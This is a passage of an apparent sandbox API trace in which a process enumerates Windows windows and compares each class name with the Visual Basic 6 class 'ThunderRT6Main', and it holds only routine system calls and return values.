GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0103.113] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0103.113] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0103.113] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0103.113] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0103.113] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.113] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.113] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.113] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0103.113] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0103.113] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0103.114] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0103.114] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0103.114] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0103.114] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0103.114] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0103.114] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0103.114] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0103.114] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0103.114] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0103.114] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0103.114] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0103.114] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0103.114] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0103.114] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0103.114] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0103.114] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0103.114] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0103.114] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0103.114] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0103.114] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0103.114] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0103.114] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0103.115] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0103.115] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0103.115] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0103.115] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0103.115] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0103.115] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0103.115] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0103.115] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0103.115] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0103.115] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0103.115] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0103.115] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0103.115] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0103.115] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0103.115] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0103.115] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0103.115] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0103.115] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0103.115] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0103.115] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0103.115] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0103.115] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.115] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0103.116] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0103.116] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0103.116] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0103.116] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0103.116] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0103.116] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0103.116] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0103.116] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0103.116] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0103.116] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0103.116] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0103.116] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0103.116] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0103.116] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0103.116] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0103.116] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0103.116] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0103.116] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0103.116] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0103.116] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.116] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0103.116] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0103.116] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0103.116] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0103.117] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0103.117] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0103.117] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0103.117] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0103.117] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0103.117] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0103.117] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0103.117] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0103.117] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0103.117] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0103.117] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0103.117] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0103.117] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0103.117] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0103.117] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0103.117] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0103.117] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0103.117] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0103.117] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0103.117] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0103.117] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0103.118] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0103.118] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0103.118] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0103.118] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0103.118] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0103.118] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0103.118] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0103.118] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0103.118] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0103.118] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0103.118] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0103.118] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0103.118] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0103.118] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0103.118] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0103.118] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0103.118] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0103.118] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0103.118] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0103.118] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0103.118] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0103.118] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0103.118] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.119] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0103.119] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0103.119] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0103.119] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0103.119] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0103.119] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0103.119] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.119] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.119] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0103.143] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0103.143] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0103.143] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.143] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0103.143] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0103.143] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0103.143] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0103.143] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0103.143] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.143] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0103.143] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0103.143] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0103.143] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0103.143] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0103.143] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.143] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0103.143] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.143] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.143] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.144] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0103.144] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0103.144] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0103.144] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0103.144] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.144] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0103.144] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0103.144] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0103.144] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.144] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0103.144] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.144] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.144] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0103.144] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.144] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0103.144] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0103.144] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.144] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0103.144] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0103.144] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.144] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.144] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0103.144] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.144] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.144] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.144] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0103.144] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.145] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0103.145] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0103.145] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0103.145] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0103.145] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0103.145] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: 